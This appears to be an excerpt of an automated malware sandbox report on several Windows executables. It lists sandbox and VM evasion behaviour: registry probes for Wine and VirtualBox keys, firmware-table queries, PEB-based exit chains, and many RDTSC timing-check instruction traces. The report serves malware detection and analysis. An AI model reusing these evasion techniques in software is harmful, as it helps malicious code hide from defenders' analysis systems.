Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87FDD0 second address: 87FDD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87FDD5 second address: 87FDF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jno 00007F33C4756A26h 0x0000000b jmp 00007F33C4756A37h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87F54A second address: 87F55D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F33C5AF17CFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8810C8 second address: 8810CD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8810CD second address: 881184 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a jmp 00007F33C5AF17D2h 0x0000000f push 00000000h 0x00000011 jnc 00007F33C5AF17C6h 0x00000017 push 38EE799Eh 0x0000001c jmp 00007F33C5AF17D8h 0x00000021 xor dword ptr [esp], 38EE791Eh 0x00000028 mov edi, ebx 0x0000002a push 00000003h 0x0000002c movzx esi, si 0x0000002f push 00000000h 0x00000031 push 00000003h 0x00000033 mov cx, 88ACh 0x00000037 call 00007F33C5AF17C9h 0x0000003c jmp 00007F33C5AF17CCh 0x00000041 push eax 0x00000042 jmp 00007F33C5AF17D8h 0x00000047 mov eax, dword ptr [esp+04h] 0x0000004b push ecx 0x0000004c pushad 0x0000004d pushad 0x0000004e popad 0x0000004f jno 00007F33C5AF17C6h 0x00000055 popad 0x00000056 pop ecx 0x00000057 mov eax, dword ptr [eax] 0x00000059 jl 00007F33C5AF17D2h 0x0000005f ja 00007F33C5AF17CCh 0x00000065 mov dword ptr [esp+04h], eax 0x00000069 push eax 0x0000006a push edx 0x0000006b jl 00007F33C5AF17CCh 0x00000071 push eax 0x00000072 push edx 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 881184 second address: 881188 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 881188 second address: 881192 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F33C5AF17C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 881192 second address: 8811B0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 mov esi, eax 0x0000000b lea ebx, dword ptr [ebp+12454FBCh] 0x00000011 or dword ptr [ebp+122D396Dh], ecx 0x00000017 push eax 0x00000018 push edi 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8812AB second address: 881316 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007F33C5AF17C8h 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d popad 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push ecx 0x00000013 jmp 00007F33C5AF17D6h 0x00000018 pop ecx 0x00000019 pop eax 0x0000001a push 00000000h 0x0000001c push edx 0x0000001d call 00007F33C5AF17C8h 0x00000022 pop edx 0x00000023 mov dword ptr [esp+04h], edx 0x00000027 add dword ptr [esp+04h], 0000001Dh 0x0000002f inc edx 0x00000030 push edx 0x00000031 ret 0x00000032 pop edx 0x00000033 ret 0x00000034 xor cx, F239h 0x00000039 lea ebx, dword ptr [ebp+12454FC5h] 0x0000003f mov dword ptr [ebp+122D1B47h], ebx 0x00000045 xchg eax, ebx 0x00000046 pushad 0x00000047 push esi 0x00000048 push esi 0x00000049 pop esi 0x0000004a pop esi 0x0000004b push eax 0x0000004c push edx 0x0000004d pushad 0x0000004e popad 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8813F1 second address: 881426 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jbe 00007F33C4756A32h 0x00000010 ja 00007F33C4756A2Ch 0x00000016 mov eax, dword ptr [eax] 0x00000018 jmp 00007F33C4756A2Eh 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 push ebx 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 881426 second address: 88142A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88142A second address: 8814D0 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F33C4756A26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b pop eax 0x0000000c xor esi, dword ptr [ebp+122D18AFh] 0x00000012 push 00000003h 0x00000014 jo 00007F33C4756A29h 0x0000001a mov cx, dx 0x0000001d push 00000000h 0x0000001f mov si, dx 0x00000022 push 00000003h 0x00000024 cld 0x00000025 jmp 00007F33C4756A37h 0x0000002a push 962A9B71h 0x0000002f pushad 0x00000030 push eax 0x00000031 jns 00007F33C4756A26h 0x00000037 pop eax 0x00000038 jc 00007F33C4756A28h 0x0000003e push ecx 0x0000003f pop ecx 0x00000040 popad 0x00000041 xor dword ptr [esp], 562A9B71h 0x00000048 push 00000000h 0x0000004a push eax 0x0000004b call 00007F33C4756A28h 0x00000050 pop eax 0x00000051 mov dword ptr [esp+04h], eax 0x00000055 add dword ptr [esp+04h], 0000001Ch 0x0000005d inc eax 0x0000005e push eax 0x0000005f ret 0x00000060 pop eax 0x00000061 ret 0x00000062 lea ebx, dword ptr [ebp+12454FD0h] 0x00000068 sub cx, 6880h 0x0000006d xchg eax, ebx 0x0000006e push eax 0x0000006f push edx 0x00000070 push esi 0x00000071 jmp 00007F33C4756A38h 0x00000076 pop esi 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8814D0 second address: 8814DA instructions: 0x00000000 rdtsc 0x00000002 jg 00007F33C5AF17CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8814DA second address: 8814EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 ja 00007F33C4756A2Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8814EA second address: 8814F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push edi 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A253D second address: 8A2549 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A2549 second address: 8A254D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A044B second address: 8A0488 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F33C4756A32h 0x0000000b popad 0x0000000c jns 00007F33C4756A2Eh 0x00000012 pop edx 0x00000013 push ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 push esi 0x00000017 pop esi 0x00000018 jmp 00007F33C4756A30h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A0488 second address: 8A048C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A074D second address: 8A0767 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F33C4756A30h 0x00000009 jnl 00007F33C4756A26h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A0767 second address: 8A076B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A0BBB second address: 8A0BD7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F33C4756A36h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A0BD7 second address: 8A0C0E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33C5AF17D0h 0x00000007 push edi 0x00000008 jmp 00007F33C5AF17CBh 0x0000000d pop edi 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jmp 00007F33C5AF17D1h 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A0C0E second address: 8A0C12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A0D56 second address: 8A0D5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A0EBF second address: 8A0EC5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A0EC5 second address: 8A0EDE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33C5AF17D3h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 897577 second address: 897589 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 push edi 0x00000006 pop edi 0x00000007 pop ebx 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007F33C4756A26h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A1699 second address: 8A169D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A169D second address: 8A16D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jmp 00007F33C4756A31h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push edi 0x00000014 pushad 0x00000015 popad 0x00000016 pop edi 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b jmp 00007F33C4756A32h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A16D6 second address: 8A16DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A1C95 second address: 8A1CB0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33C4756A37h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A7DE0 second address: 8A7DEE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 pushad 0x00000009 pushad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A7DEE second address: 8A7DF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A6D37 second address: 8A6D44 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A6D44 second address: 8A6D48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A6D48 second address: 8A6D4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A6D4C second address: 8A6D52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A6D52 second address: 8A6D57 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A7EC1 second address: 8A7EC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86E1EA second address: 86E204 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33C5AF17D4h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B02CF second address: 8B02E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007F33C4756A32h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AFAA3 second address: 8AFAAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AFAAB second address: 8AFAB5 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F33C4756A2Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AFEAF second address: 8AFEB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AFEB5 second address: 8AFECE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F33C4756A26h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d ja 00007F33C4756A26h 0x00000013 js 00007F33C4756A26h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AFECE second address: 8AFEDE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push edi 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B1FFD second address: 8B2001 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B2001 second address: 8B201D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33C5AF17D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B201D second address: 8B205D instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F33C4756A28h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 jmp 00007F33C4756A2Bh 0x00000015 pop eax 0x00000016 mov dword ptr [ebp+122D3A7Bh], edi 0x0000001c call 00007F33C4756A29h 0x00000021 jnl 00007F33C4756A2Ah 0x00000027 push ebx 0x00000028 push esi 0x00000029 pop esi 0x0000002a pop ebx 0x0000002b push eax 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f jnl 00007F33C4756A26h 0x00000035 pop eax 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B21F3 second address: 8B21FD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B256A second address: 8B2570 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B2710 second address: 8B2714 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B2CEE second address: 8B2CF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B2CF4 second address: 8B2CF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B2CF8 second address: 8B2CFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B2E47 second address: 8B2E62 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F33C5AF17CCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jo 00007F33C5AF17C8h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B2FCB second address: 8B2FCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B36D3 second address: 8B36D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B36D7 second address: 8B36DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B36DB second address: 8B36E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B36E1 second address: 8B374B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33C4756A2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F33C4756A34h 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push eax 0x00000013 call 00007F33C4756A28h 0x00000018 pop eax 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d add dword ptr [esp+04h], 00000017h 0x00000025 inc eax 0x00000026 push eax 0x00000027 ret 0x00000028 pop eax 0x00000029 ret 0x0000002a mov edi, 394CA104h 0x0000002f mov edi, dword ptr [ebp+122D2EFAh] 0x00000035 push 00000000h 0x00000037 sub dword ptr [ebp+12477CB0h], ecx 0x0000003d push 00000000h 0x0000003f xor dword ptr [ebp+122D58D2h], ecx 0x00000045 push eax 0x00000046 push eax 0x00000047 push edx 0x00000048 ja 00007F33C4756A28h 0x0000004e rdtsc
